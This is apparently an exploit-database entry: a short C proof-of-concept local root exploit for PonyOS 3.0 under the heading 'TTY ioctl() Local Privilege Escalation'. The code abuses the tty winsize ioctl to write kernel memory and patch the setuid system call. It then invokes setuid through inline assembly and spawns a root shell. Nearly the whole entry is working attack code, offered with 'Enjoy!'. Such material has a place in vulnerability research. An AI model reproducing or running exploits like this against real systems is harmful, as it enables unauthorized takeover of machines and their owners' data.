Linux Kernel (PonyOS 3.0) – TTY ‘ioctl()’ Local Privilege Escalation
/* # Exploit Title: PonyOS <= 3.0 tty ioctl() local kernel exploit # Google Dork: [if applicable] # Date: 29th June 2015 # Exploit Author: HackerFantastic # Vendor Homepage: www.ponyos.org # Software Link: [download link if available] # Version: [app version] PonyOS <= 3.0 # Tested on: PonyOS 3.0 # CVE : N/A # Source: https://raw.githubusercontent.com/HackerFantastic/Public/master/exploits/applejack.c */ /* PonyOS <= 3.0 tty ioctl() root exploit ======================================== PonyOS 0.4.99-mlp had two kernel vulnerabilities disclosed in April 2013 that could be leveraged to read/write arbitrary kernel memory. This is due to tty winsize ioctl() allowing to read/write arbitrary memory. This exploit patches the setuid system call to remove a root uid check allowing any process to obtain root privileges. John Cartwright found these flaws and others here: https://www.exploit-db.com/exploits/24933/ Written for educational purposes only. Enjoy! -- prdelka */ #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> int main(){ struct winsize ws; printf("[+] PonyOS <= 3.0 ioctl() local root exploit\n"); memcpy(&ws,"\x90\x90\x90\x90\x8b\x45\x08\x89",8); ioctl(0, TIOCSWINSZ, &ws); ioctl(0, TIOCGWINSZ, (void *)0x0010f101); printf("[-] patched sys_setuid()\n"); __asm("movl $0x18,%eax"); __asm("xorl %ebx,%ebx"); __asm("int $0x7F"); printf("[-] Got root?\n"); system("/bin/sh"); } |